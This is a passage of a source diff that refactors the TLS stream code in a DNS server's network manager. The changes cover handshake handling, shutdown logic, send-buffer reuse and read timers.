-	if (finish && (SSL_get_shutdown(sock->tlsstream.tls) &
-		       SSL_SENT_SHUTDOWN) != SSL_SENT_SHUTDOWN)
-	{
-		(void)SSL_shutdown(sock->tlsstream.tls);
+	if (finish) {
+		tls_try_shutdown(sock->tlsstream.tls, false);
+		tls_keep_client_tls_session(sock);
 	}
 
 	pending = BIO_pending(sock->tlsstream.bio_out);
@@ -230,17 +374,23 @@ tls_send_outgoing(isc_nmsocket_t *sock, bool finish, isc_nmhandle_t *tlshandle,
 		return (pending);
 	}
 
-	/* TODO Should we keep track of these requests in a list? */
-	if ((unsigned int)pending > TLS_BUF_SIZE) {
-		pending = TLS_BUF_SIZE;
+	/* Try to reuse previously allocated object */
+	if (sock->tlsstream.send_req != NULL) {
+		send_req = sock->tlsstream.send_req;
+		send_req->finish = finish;
+		sock->tlsstream.send_req = NULL;
+	} else {
+		send_req = isc_mem_get(sock->worker->mctx, sizeof(*send_req));
+		*send_req = (isc_nmsocket_tls_send_req_t){ .finish = finish };
+		new_send_req = true;
 	}
 
-	send_req = isc_mem_get(sock->mgr->mctx, sizeof(*send_req));
-	*send_req = (isc_nmsocket_tls_send_req_t){
-		.finish = finish,
-		.data.base = isc_mem_get(sock->mgr->mctx, pending),
-		.data.length = pending
-	};
+	if (new_send_req) {
+		isc_buffer_init(&send_req->data, &send_req->smallbuf,
+				sizeof(send_req->smallbuf));
+		isc_buffer_setmctx(&send_req->data, sock->worker->mctx);
+	}
+	INSIST(isc_buffer_remaininglength(&send_req->data) == 0);
 
 	isc__nmsocket_attach(sock, &send_req->tlssock);
 	if (cb != NULL) {
@@ -249,15 +399,19 @@ tls_send_outgoing(isc_nmsocket_t *sock, bool finish, isc_nmhandle_t *tlshandle,
 		isc_nmhandle_attach(tlshandle, &send_req->handle);
 	}
 
-	rv = BIO_read_ex(sock->tlsstream.bio_out, send_req->data.base, pending,
-			 &len);
+	RUNTIME_CHECK(isc_buffer_reserve(&send_req->data, pending) ==
+		      ISC_R_SUCCESS);
+	isc_buffer_add(&send_req->data, pending);
+	rv = BIO_read_ex(sock->tlsstream.bio_out,
+			 isc_buffer_base(&send_req->data), pending, &len);
 	/* There's something pending, read must succeed */
-	RUNTIME_CHECK(rv == 1);
+	RUNTIME_CHECK(rv == 1 && len == (size_t)pending);
 
 	INSIST(VALID_NMHANDLE(sock->outerhandle));
 
 	sock->tlsstream.nsending++;
-	isc_nm_send(sock->outerhandle, &send_req->data, tls_senddone, send_req);
+	isc_buffer_remainingregion(&send_req->data, &used_region);
+	isc_nm_send(sock->outerhandle, &used_region, tls_senddone, send_req);
 
 	return (pending);
 }
@@ -267,22 +421,21 @@ tls_process_outgoing(isc_nmsocket_t *sock, bool finish,
 		     isc__nm_uvreq_t *send_data) {
 	int pending;
 
+	bool received_shutdown = ((SSL_get_shutdown(sock->tlsstream.tls) &
+				   SSL_RECEIVED_SHUTDOWN) != 0);
+	bool sent_shutdown = ((SSL_get_shutdown(sock->tlsstream.tls) &
+			       SSL_SENT_SHUTDOWN) != 0);
+
+	if (received_shutdown && !sent_shutdown) {
+		finish = true;
+	}
+
 	/* Data from TLS to network */
 	if (send_data != NULL) {
 		pending = tls_send_outgoing(sock, finish, send_data->handle,
 					    send_data->cb.send,
 					    send_data->cbarg);
 	} else {
-		bool received_shutdown =
-			((SSL_get_shutdown(sock->tlsstream.tls) &
-			  SSL_RECEIVED_SHUTDOWN) != 0);
-		bool sent_shutdown = ((SSL_get_shutdown(sock->tlsstream.tls) &
-				       SSL_SENT_SHUTDOWN) != 0);
-
-		if (received_shutdown && !sent_shutdown) {
-			finish = true;
-			(void)SSL_shutdown(sock->tlsstream.tls);
-		}
 		pending = tls_send_outgoing(sock, finish, NULL, NULL, NULL);
 	}
 
@@ -290,34 +443,75 @@ tls_process_outgoing(isc_nmsocket_t *sock, bool finish,
 }
 
 static int
-tls_try_handshake(isc_nmsocket_t *sock) {
-	int rv = 0;
-	isc_nmhandle_t *tlshandle = NULL;
-
+tls_try_handshake(isc_nmsocket_t *sock, isc_result_t *presult) {
 	REQUIRE(sock->tlsstream.state == TLS_HANDSHAKE);
 
 	if (SSL_is_init_finished(sock->tlsstream.tls) == 1) {
 		return (0);
 	}
 
-	rv = SSL_do_handshake(sock->tlsstream.tls);
+	int rv = SSL_do_handshake(sock->tlsstream.tls);
 	if (rv == 1) {
+		isc_nmhandle_t *tlshandle = NULL;
+		isc_result_t result = ISC_R_SUCCESS;
+
+		REQUIRE(sock->statichandle == NULL);
 		INSIST(SSL_is_init_finished(sock->tlsstream.tls) == 1);
-		INSIST(sock->statichandle == NULL);
+
+		isc__nmsocket_log_tls_session_reuse(sock, sock->tlsstream.tls);
 		tlshandle = isc__nmhandle_get(sock, &sock->peer, &sock->iface);
+		tls_read_stop(sock);
+
+		if (isc__nm_closing(sock->worker)) {
+			result = ISC_R_SHUTTINGDOWN;
+		}
+
 		if (sock->tlsstream.server) {
-			sock->listener->accept_cb(tlshandle, ISC_R_SUCCESS,
-						  sock->listener->accept_cbarg);
+			/*
+			 * The listening sockets are now closed from outer
+			 * to inner order, which means that this function
+			 * will never be called when the outer socket has
+			 * stopped listening.
+			 *
+			 * Also see 'isc__nmsocket_stop()' - the function used
+			 * to shut down the listening TLS socket - for more
+			 * details.
+			 */
+			if (result == ISC_R_SUCCESS) {
+				result = sock->accept_cb(tlshandle, result,
+							 sock->accept_cbarg);
+			}
 		} else {
-			tls_call_connect_cb(sock, tlshandle, ISC_R_SUCCESS);
+			tls_call_connect_cb(sock, tlshandle, result);
 		}
 		isc_nmhandle_detach(&tlshandle);
 		sock->tlsstream.state = TLS_IO;
+
+		if (presult != NULL) {
+			*presult = result;
+		}
 	}
 
 	return (rv);
 }
 
+static bool
+tls_try_to_close_unused_socket(isc_nmsocket_t *sock) {
+	if (sock->tlsstream.state > TLS_HANDSHAKE &&
+	    sock->statichandle == NULL && sock->tlsstream.nsending == 0)
+	{
+		/*
+		 * It seems that no action on the socket has been
+		 * scheduled on some point after the handshake, let's
+		 * close the connection.
+		 */
+		isc__nmsocket_prep_destroy(sock);
+		return (true);
+	}
+
+	return (false);
+}
+
 static void
 tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 	   isc__nm_uvreq_t *send_data, bool finish) {
@@ -328,13 +522,28 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 	int saved_errno = 0;
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 
-	/* We will resume read if TLS layer wants us to */
-	if (sock->tlsstream.reading && sock->outerhandle) {
-		REQUIRE(VALID_NMHANDLE(sock->outerhandle));
-		isc_nm_pauseread(sock->outerhandle);
-	}
+	/*
+	 * Clear the TLS error queue so that SSL_get_error() and SSL I/O
+	 * routine calls will not get affected by prior error statuses.
+	 *
+	 * See here:
+	 * https://www.openssl.org/docs/man3.0/man3/SSL_get_error.html
+	 *
+	 * In particular, it mentions the following:
+	 *
+	 * The current thread's error queue must be empty before the
+	 * TLS/SSL I/O operation is attempted, or SSL_get_error() will not
+	 * work reliably.
+	 *
+	 * As we use the result of SSL_get_error() to decide on I/O
+	 * operations, we need to ensure that it works reliably by
+	 * cleaning the error queue.
+	 *
+	 * The sum of details: https://stackoverflow.com/a/37980911
+	 */
+	ERR_clear_error();
 
 	if (sock->tlsstream.state == TLS_INIT) {
 		INSIST(received_data == NULL && send_data == NULL);
@@ -344,8 +553,9 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 			SSL_set_connect_state(sock->tlsstream.tls);
 		}
 		sock->tlsstream.state = TLS_HANDSHAKE;
-		rv = tls_try_handshake(sock);
+		rv = tls_try_handshake(sock, NULL);
 		INSIST(SSL_is_init_finished(sock->tlsstream.tls) == 0);
+		isc__nmsocket_timer_restart(sock);
 	} else if (sock->tlsstream.state == TLS_CLOSED) {
 		return;
 	} else { /* initialised and doing I/O */
@@ -356,7 +566,9 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 					  received_data->length, &len);
 			if (rv <= 0 || len != received_data->length) {
 				result = ISC_R_TLSERROR;
+#if ISC_NETMGR_TRACE
 				saved_errno = errno;
+#endif
 				goto error;
 			}
 
@@ -365,7 +577,22 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 			 * handshake is done.
 			 */
 			if (sock->tlsstream.state == TLS_HANDSHAKE) {
-				rv = tls_try_handshake(sock);
+				isc_result_t hs_result = ISC_R_UNSET;
+				rv = tls_try_handshake(sock, &hs_result);
+				if (sock->tlsstream.state == TLS_IO &&
+				    hs_result != ISC_R_SUCCESS)
+				{
+					/*
+					 * The accept/connect callback has been
+					 * called unsuccessfully. Let's try to
+					 * shut down the TLS connection
+					 * gracefully.
+					 */
+					INSIST(SSL_is_init_finished(
+						       sock->tlsstream.tls) ==
+					       1);
+					finish = true;
+				}
 			}
 		} else if (send_data != NULL) {
 			INSIST(received_data == NULL);
@@ -376,39 +603,56 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 			bool sent_shutdown =
 				((SSL_get_shutdown(sock->tlsstream.tls) &
 				  SSL_SENT_SHUTDOWN) != 0);
-			rv = SSL_write_ex(sock->tlsstream.tls,
-					  send_data->uvbuf.base,
-					  send_data->uvbuf.len, &len);
-			if (rv != 1 || len != send_data->uvbuf.len) {
+			bool write_failed = false;
+			if (*(uint16_t *)send_data->tcplen != 0) {
+				/*
+				 * There is a DNS message length to write - do
+				 * it.
+				 */
+				rv = SSL_write_ex(
+					sock->tlsstream.tls, send_data->tcplen,
+					sizeof(send_data->tcplen), &len);
+				if (rv != 1 || len != sizeof(send_data->tcplen))
+				{
+					write_failed = true;
+				} else {
+					/* Write data */
+					rv = SSL_write_ex(sock->tlsstream.tls,
+							  send_data->uvbuf.base,
+							  send_data->uvbuf.len,
+							  &len);
+					if (rv != 1 ||
+					    len != send_data->uvbuf.len)
+					{
+						write_failed = true;
+					}
+				}
+			} else {
+				/* Write data only */
+				rv = SSL_write_ex(sock->tlsstream.tls,
+						  send_data->uvbuf.base,
+						  send_data->uvbuf.len, &len);
+				if (rv != 1 || len != send_data->uvbuf.len) {
+					write_failed = true;
+				}
+			}
+
+			if (write_failed) {
 				result = received_shutdown || sent_shutdown
 						 ? ISC_R_CANCELED
 						 : ISC_R_TLSERROR;
 				send_data->cb.send(send_data->handle, result,
 						   send_data->cbarg);
 				send_data = NULL;
-				/* This situation might occur only when SSL
-				 * shutdown was already sent (see
-				 * tls_send_outgoing()), and we are in the
-				 * process of shutting down the connection (in
-				 * this case tls_senddone() will be called), but
-				 * some code tries to send data over the
-				 * connection and called isc_tls_send(). The
-				 * socket will be detached there, in
-				 * tls_senddone().*/
-				if (sent_shutdown || received_shutdown) {
-					return;
-				} else {
-					isc__nmsocket_detach(&sock);
-					return;
-				}
+				return;
 			}
 		}
 
 		/* Decrypt and pass data from network to client */
 		if (sock->tlsstream.state >= TLS_IO && sock->recv_cb != NULL &&
-		    !atomic_load(&sock->readpaused) &&
-		    sock->statichandle != NULL)
+		    sock->statichandle != NULL && sock->reading && !finish)
 		{
+			bool was_new_data = false;
 			uint8_t recv_buf[TLS_BUF_SIZE];
 			INSIST(sock->tlsstream.state > TLS_HANDSHAKE);
 			while ((rv = SSL_read_ex(sock->tlsstream.tls, recv_buf,
@@ -418,6 +662,7 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 				region = (isc_region_t){ .base = &recv_buf[0],
 							 .length = len };
 
+				was_new_data = true;
 				INSIST(VALID_NMHANDLE(sock->statichandle));
 				sock->recv_cb(sock->statichandle, ISC_R_SUCCESS,
 					      &region, sock->recv_cbarg);
@@ -426,17 +671,60 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 				 * nullified (it happens in netmgr.c). If it is
 				 * the case, then it means that we are not
 				 * interested in keeping the connection alive
-				 * anymore. Let's shutdown the SSL session, send
-				 * what we have in the SSL buffers, and close
-				 * the connection.
+				 * anymore. Let's shut down the SSL session,
+				 * send what we have in the SSL buffers,
+				 * and close the connection.
 				 */
 				if (sock->statichandle == NULL) {
 					finish = true;
 					break;
+				} else if (sock->recv_cb == NULL) {
+					/*
+					 * The 'sock->recv_cb' might have been
+					 * nullified during the call to
+					 * 'sock->recv_cb'. That could happen,
+					 * e.g. by an indirect call to
+					 * 'isc_nmhandle_close()' from within
+					 * the callback when wrapping up.
+					 *
+					 * In this case, let's close the TLS
+					 * connection.
+					 */
+					finish = true;
+					break;
+				} else if (!sock->reading) {
+					/*
+					 * Reading has been paused from withing
+					 * the context of read callback - stop
+					 * processing incoming data.
+					 */
+					break;
 				}
 			}
+
+			if (was_new_data && !sock->manual_read_timer) {
+				/*
+				 * Some data has been decrypted, it is the right
+				 * time to stop the read timer as it will be
+				 * restarted on the next read attempt.
+				 */
+				isc__nmsocket_timer_stop(sock);
+			}
 		}
 	}
+
+	/*
+	 * Setting 'finish' to 'true' means that we are about to close the
+	 * TLS stream (we intend to send TLS shutdown message to the
+	 * remote side). After that no new data can be received, so we
+	 * should stop the timer regardless of the
+	 * 'sock->manual_read_timer' value.
+	 */
+	if (finish) {
+		isc__nmsocket_timer_stop(sock);
+	}
+
+	errno = 0;
 	tls_status = SSL_get_error(sock->tlsstream.tls, rv);
 	saved_errno = errno;
 
@@ -462,14 +750,14 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 	}
 
 	pending = tls_process_outgoing(sock, finish, send_data);
-	if (pending > 0) {
-		/* We'll continue in tls_senddone */
+	if (pending > 0 && tls_status != SSL_ERROR_SSL) {
 		return;
 	}
 
 	switch (tls_status) {
 	case SSL_ERROR_NONE:
 	case SSL_ERROR_ZERO_RETURN:
+		(void)tls_try_to_close_unused_socket(sock);
 		return;
 	case SSL_ERROR_WANT_WRITE:
 		if (sock->tlsstream.nsending == 0) {
@@ -481,27 +769,41 @@ tls_do_bio(isc_nmsocket_t *sock, isc_region_t *received_data,
 		}
 		return;
 	case SSL_ERROR_WANT_READ:
-		if (sock->tlsstream.reading) {
-			INSIST(VALID_NMHANDLE(sock->outerhandle));
-			isc_nm_resumeread(sock->outerhandle);
-		} else if (sock->tlsstream.state == TLS_HANDSHAKE) {
-			sock->tlsstream.reading = true;
-			isc_nm_read(sock->outerhandle, tls_readcb, sock);
+		if (tls_try_to_close_unused_socket(sock) ||
+		    sock->outerhandle == NULL)
+		{
+			return;
+		} else if (sock->reading == false &&
+			   sock->tlsstream.state == TLS_HANDSHAKE)
+		{
+			/*
+			 * We need to read data when doing handshake even if
+			 * 'sock->reading == false'. It will be stopped when
+			 * handshake is completed.
+			 */
+			tls_read_start(sock);
+			return;
+		} else if (sock->reading == false) {
+			return;
 		}
+
+		tls_read_start(sock);
 		return;
 	default:
-		result = tls_error_to_result(tls_status);
+		result = tls_error_to_result(tls_status, sock->tlsstream.state,
+					     sock->tlsstream.tls);
 		break;
 	}
 
 error:
-	isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL, ISC_LOGMODULE_NETMGR,
-		      ISC_LOG_NOTICE,
-		      "SSL error in BIO: %d %s (errno: %d). Arguments: "
-		      "received_data: %p, "
-		      "send_data: %p, finish: %s",
-		      tls_status, isc_result_totext(result), saved_errno,
-		      received_data, send_data, finish ? "true" : "false");
+#if ISC_NETMGR_TRACE
+	isc__nmsocket_log(sock, ISC_LOG_NOTICE,
+			  "SSL error in BIO: %d %s (errno: %d). Arguments: "
+			  "received_data: %p, "
+			  "send_data: %p, finish: %s",
+			  tls_status, isc_result_totext(result), saved_errno,
+			  received_data, send_data, finish ? "true" : "false");
+#endif
 	tls_failed_read_cb(sock, result);
 }
 
@@ -512,19 +814,23 @@ tls_readcb(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
 
 	REQUIRE(VALID_NMSOCK(tlssock));
 	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(tlssock->tid == isc_nm_tid());
+	REQUIRE(tlssock->tid == isc_tid());
 
 	if (result != ISC_R_SUCCESS) {
 		tls_failed_read_cb(tlssock, result);
 		return;
+	} else if (isc__nmsocket_closing(handle->sock)) {
+		tls_failed_read_cb(tlssock, ISC_R_CANCELED);
+		return;
 	}
 
+	REQUIRE(handle == tlssock->outerhandle);
 	tls_do_bio(tlssock, region, NULL, false);
 }
 
 static isc_result_t
 initialize_tls(isc_nmsocket_t *sock, bool server) {
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 
 	sock->tlsstream.bio_in = BIO_new(BIO_s_mem());
 	if (sock->tlsstream.bio_in == NULL) {
@@ -557,10 +863,22 @@ initialize_tls(isc_nmsocket_t *sock, bool server) {
 	return (ISC_R_TLSERROR);
 }
 
+static void
+tls_try_to_enable_tcp_nodelay(isc_nmsocket_t *tlssock) {
+	/*
+	 * Try to enable TCP_NODELAY for TLS connections by default to speed up
+	 * the handshakes, just like other software (e.g. NGINX) does.
+	 */
+	isc_result_t result = isc_nmhandle_set_tcp_nodelay(tlssock->outerhandle,
+							   true);
+	tlssock->tlsstream.tcp_nodelay_value = (result == ISC_R_SUCCESS);
+}
+
 static isc_result_t
 tlslisten_acceptcb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	isc_nmsocket_t *tlslistensock = (isc_nmsocket_t *)cbarg;
 	isc_nmsocket_t *tlssock = NULL;
+	isc_tlsctx_t *tlsctx = NULL;
 
 	/* If accept() was unsuccessful we can't do anything */
 	if (result != ISC_R_SUCCESS) {
@@ -572,105 +890,129 @@ tlslisten_acceptcb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	REQUIRE(VALID_NMSOCK(tlslistensock));
 	REQUIRE(tlslistensock->type == isc_nm_tlslistener);
 
+	if (isc__nm_closing(handle->sock->worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	} else if (isc__nmsocket_closing(handle->sock)) {
+		return (ISC_R_CANCELED);
+	}
+
 	/*
 	 * We need to create a 'wrapper' tlssocket for this connection.
 	 */
-	tlssock = isc_mem_get(handle->sock->mgr->mctx, sizeof(*tlssock));
-	isc__nmsocket_init(tlssock, handle->sock->mgr, isc_nm_tlssocket,
-			   &tlslistensock->tlsstream.server_iface);
+	tlssock = isc_mem_get(handle->sock->worker->mctx, sizeof(*tlssock));
+	isc__nmsocket_init(tlssock, handle->sock->worker, isc_nm_tlssocket,
+			   &handle->sock->iface, NULL);
 
 	/* We need to initialize SSL now to reference SSL_CTX properly */
-	tlssock->tlsstream.ctx = tlslistensock->tlsstream.ctx;
+	tlsctx = tls_get_listener_tlsctx(tlslistensock, isc_tid());
+	RUNTIME_CHECK(tlsctx != NULL);
+	isc_tlsctx_attach(tlsctx, &tlssock->tlsstream.ctx);
 	tlssock->tlsstream.tls = isc_tls_create(tlssock->tlsstream.ctx);
 	if (tlssock->tlsstream.tls == NULL) {
-		atomic_store(&tlssock->closed, true);
+		tlssock->closed = true;
+		isc_tlsctx_free(&tlssock->tlsstream.ctx);
 		isc__nmsocket_detach(&tlssock);
 		return (ISC_R_TLSERROR);
 	}
 
-	tlssock->extrahandlesize = tlslistensock->extrahandlesize;
-	isc__nmsocket_attach(tlslistensock, &tlssock->listener);
+	tlssock->accept_cb = tlslistensock->accept_cb;
+	tlssock->accept_cbarg = tlslistensock->accept_cbarg;
+	isc__nmsocket_attach(handle->sock, &tlssock->listener);
 	isc_nmhandle_attach(handle, &tlssock->outerhandle);
 	tlssock->peer = handle->sock->peer;
-	tlssock->read_timeout = atomic_load(&handle->sock->mgr->init);
-	tlssock->tid = isc_nm_tid();
+	tlssock->read_timeout =
+		atomic_load_relaxed(&handle->sock->worker->netmgr->init);
 
-	tlssock->tlsstream.ctx = tlslistensock->tlsstream.ctx;
+	/*
+	 * Hold a reference to tlssock in the TCP socket: it will
+	 * detached in isc__nm_tls_cleanup_data().
+	 */
+	handle->sock->tlsstream.tlssocket = tlssock;
 
 	result = initialize_tls(tlssock, true);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	/* TODO: catch failure code, detach tlssock, and log the error */
 
+	tls_try_to_enable_tcp_nodelay(tlssock);
+
+	isc__nmhandle_set_manual_timer(tlssock->outerhandle, true);
 	tls_do_bio(tlssock, NULL, NULL, false);
 	return (result);
 }
 
 isc_result_t
-isc_nm_listentls(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		 size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		 SSL_CTX *sslctx, isc_nmsocket_t **sockp) {
+isc_nm_listentls(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg, int backlog,
+		 isc_quota_t *quota, SSL_CTX *sslctx, isc_nmsocket_t **sockp) {
 	isc_result_t result;
 	isc_nmsocket_t *tlssock = NULL;
 	isc_nmsocket_t *tsock = NULL;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
 
 	REQUIRE(VALID_NM(mgr));
+	REQUIRE(isc_tid() == 0);
+
+	if (isc__nm_closing(worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	}
+
+	if (workers == 0) {
+		workers = mgr->nloops;
+	}
+	REQUIRE(workers <= mgr->nloops);
 
-	tlssock = isc_mem_get(mgr->mctx, sizeof(*tlssock));
+	tlssock = isc_mem_get(worker->mctx, sizeof(*tlssock));
 
-	isc__nmsocket_init(tlssock, mgr, isc_nm_tlslistener, iface);
-	tlssock->tlsstream.server_iface = *iface;
-	ISC_LINK_INIT(&tlssock->tlsstream.server_iface, link);
-	tlssock->iface = tlssock->tlsstream.server_iface;
-	tlssock->result = ISC_R_UNSET;
+	isc__nmsocket_init(tlssock, worker, isc_nm_tlslistener, iface, NULL);
 	tlssock->accept_cb = accept_cb;
 	tlssock->accept_cbarg = accept_cbarg;
-	tlssock->extrahandlesize = extrahandlesize;
-	tlssock->tlsstream.ctx = sslctx;
+	tls_init_listener_tlsctx(tlssock, sslctx);
 	tlssock->tlsstream.tls = NULL;
 
 	/*
 	 * tlssock will be a TLS 'wrapper' around an unencrypted stream.
 	 * We set tlssock->outer to a socket listening for a TCP connection.
 	 */
-	result = isc_nm_listentcp(mgr, iface, tlslisten_acceptcb, tlssock,
-				  extrahandlesize, backlog, quota,
-				  &tlssock->outer);
+	result = isc_nm_listentcp(mgr, workers, iface, tlslisten_acceptcb,
+				  tlssock, backlog, quota, &tlssock->outer);
 	if (result != ISC_R_SUCCESS) {
-		atomic_store(&tlssock->closed, true);
+		tlssock->closed = true;
 		isc__nmsocket_detach(&tlssock);
 		return (result);
 	}
 
+	/* copy the actual port we're listening on into sock->iface */
+	if (isc_sockaddr_getport(iface) == 0) {
+		tlssock->iface = tlssock->outer->iface;
+	}
+
 	/* wait for listen result */
 	isc__nmsocket_attach(tlssock->outer, &tsock);
 	tlssock->result = result;
-	atomic_store(&tlssock->active, true);
+	tlssock->active = true;
 	INSIST(tlssock->outer->tlsstream.tlslistener == NULL);
 	isc__nmsocket_attach(tlssock, &tlssock->outer->tlsstream.tlslistener);
 	isc__nmsocket_detach(&tsock);
 	INSIST(result != ISC_R_UNSET);
+	tlssock->nchildren = tlssock->outer->nchildren;
 
 	if (result == ISC_R_SUCCESS) {
-		atomic_store(&tlssock->listening, true);
 		*sockp = tlssock;
 	}
 
 	return (result);
 }
 
-void
-isc__nm_async_tlssend(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlssend_t *ievent = (isc__netievent_tlssend_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *req = ievent->req;
+static void
+tls_send_direct(void *arg) {
+	isc__nm_uvreq_t *req = arg;
 
 	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(sock->tid == isc_nm_tid());
 
-	UNUSED(worker);
+	isc_nmsocket_t *sock = req->sock;
 
-	ievent->req = NULL;
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
 
 	if (inactive(sock)) {
 		req->cb.send(req->handle, ISC_R_CANCELED, req->cbarg);
@@ -679,15 +1021,13 @@ isc__nm_async_tlssend(isc__networker_t *worker, isc__netievent_t *ev0) {
 
 	tls_do_bio(sock, NULL, req, false);
 done:
-	isc_mem_free(sock->mgr->mctx, req->uvbuf.base);
-	isc__nm_uvreq_put(&req, sock);
+	isc__nm_uvreq_put(&req);
 	return;
 }
 
-void
-isc__nm_tls_send(isc_nmhandle_t *handle, const isc_region_t *region,
-		 isc_nm_cb_t cb, void *cbarg) {
-	isc__netievent_tlssend_t *ievent = NULL;
+static void
+tls_send(isc_nmhandle_t *handle, const isc_region_t *region, isc_nm_cb_t cb,
+	 void *cbarg, const bool dnsmsg) {
 	isc__nm_uvreq_t *uvreq = NULL;
 	isc_nmsocket_t *sock = NULL;
 
@@ -698,44 +1038,33 @@ isc__nm_tls_send(isc_nmhandle_t *handle, const isc_region_t *region,
 
 	REQUIRE(sock->type == isc_nm_tlssocket);
 
-	if (inactive(sock)) {
-		cb(handle, ISC_R_CANCELED, cbarg);
-		return;
-	}
-
-	uvreq = isc__nm_uvreq_get(sock->mgr, sock);
+	uvreq = isc__nm_uvreq_get(sock);
 	isc_nmhandle_attach(handle, &uvreq->handle);
 	uvreq->cb.send = cb;
 	uvreq->cbarg = cbarg;
-
-	uvreq->uvbuf.base = isc_mem_allocate(sock->mgr->mctx, region->length);
-	memmove(uvreq->uvbuf.base, region->base, region->length);
+	uvreq->uvbuf.base = (char *)region->base;
 	uvreq->uvbuf.len = region->length;
+	if (dnsmsg) {
+		*(uint16_t *)uvreq->tcplen = htons(region->length);
+	}
 
-	/*
-	 * We need to create an event and pass it using async channel
-	 */
-	ievent = isc__nm_get_netievent_tlssend(sock->mgr, sock, uvreq);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
+	isc_job_run(sock->worker->loop, &uvreq->job, tls_send_direct, uvreq);
 }
 
 void
-isc__nm_async_tlsstartread(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsstartread_t *ievent =
-		(isc__netievent_tlsstartread_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	UNUSED(worker);
+isc__nm_tls_send(isc_nmhandle_t *handle, const isc_region_t *region,
+		 isc_nm_cb_t cb, void *cbarg) {
+	tls_send(handle, region, cb, cbarg, false);
+}
 
-	tls_do_bio(sock, NULL, NULL, false);
+void
+isc__nm_tls_senddns(isc_nmhandle_t *handle, const isc_region_t *region,
+		    isc_nm_cb_t cb, void *cbarg) {
+	tls_send(handle, region, cb, cbarg, true);
 }
 
 void
 isc__nm_tls_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
-	isc__netievent_tlsstartread_t *ievent = NULL;
 	isc_nmsocket_t *sock = NULL;
 
 	REQUIRE(VALID_NMHANDLE(handle));
@@ -743,59 +1072,72 @@ isc__nm_tls_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
 	sock = handle->sock;
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->statichandle == handle);
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->recv_cb == NULL);
+	REQUIRE(sock->tid == isc_tid());
 
 	if (inactive(sock)) {
-		cb(handle, ISC_R_NOTCONNECTED, NULL, cbarg);
+		cb(handle, ISC_R_CANCELED, NULL, cbarg);
 		return;
 	}
 
 	sock->recv_cb = cb;
 	sock->recv_cbarg = cbarg;
+	sock->reading = true;
 
-	ievent = isc__nm_get_netievent_tlsstartread(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
+	async_tls_do_bio(sock);
 }
 
-void
-isc__nm_tls_pauseread(isc_nmhandle_t *handle) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
+static void
+tls_read_start(isc_nmsocket_t *restrict sock) {
+	if (sock->tlsstream.reading) {
+		return;
+	}
+	sock->tlsstream.reading = true;
 
-	if (atomic_compare_exchange_strong(&handle->sock->readpaused,
-					   &(bool){ false }, true))
-	{
-		if (handle->sock->outerhandle != NULL) {
-			isc_nm_pauseread(handle->sock->outerhandle);
-		}
+	INSIST(VALID_NMHANDLE(sock->outerhandle));
+
+	isc_nm_read(sock->outerhandle, tls_readcb, sock);
+	if (!sock->manual_read_timer) {
+		isc__nmsocket_timer_start(sock);
+	}
+}
+
+static void
+tls_read_stop(isc_nmsocket_t *sock) {
+	sock->tlsstream.reading = false;
+	if (sock->outerhandle != NULL) {
+		isc_nm_read_stop(sock->outerhandle);
 	}
 }
 
 void
-isc__nm_tls_resumeread(isc_nmhandle_t *handle) {
+isc__nm_tls_read_stop(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	if (!atomic_compare_exchange_strong(&handle->sock->readpaused,
-					    &(bool){ false }, false))
-	{
-		async_tls_do_bio(handle->sock);
-	}
+	handle->sock->reading = false;
+
+	tls_read_stop(handle->sock);
 }
 
-static void
-tls_close_direct(isc_nmsocket_t *sock) {
+void
+isc__nm_tls_close(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->type == isc_nm_tlssocket);
+	REQUIRE(!sock->closing);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(!sock->closed);
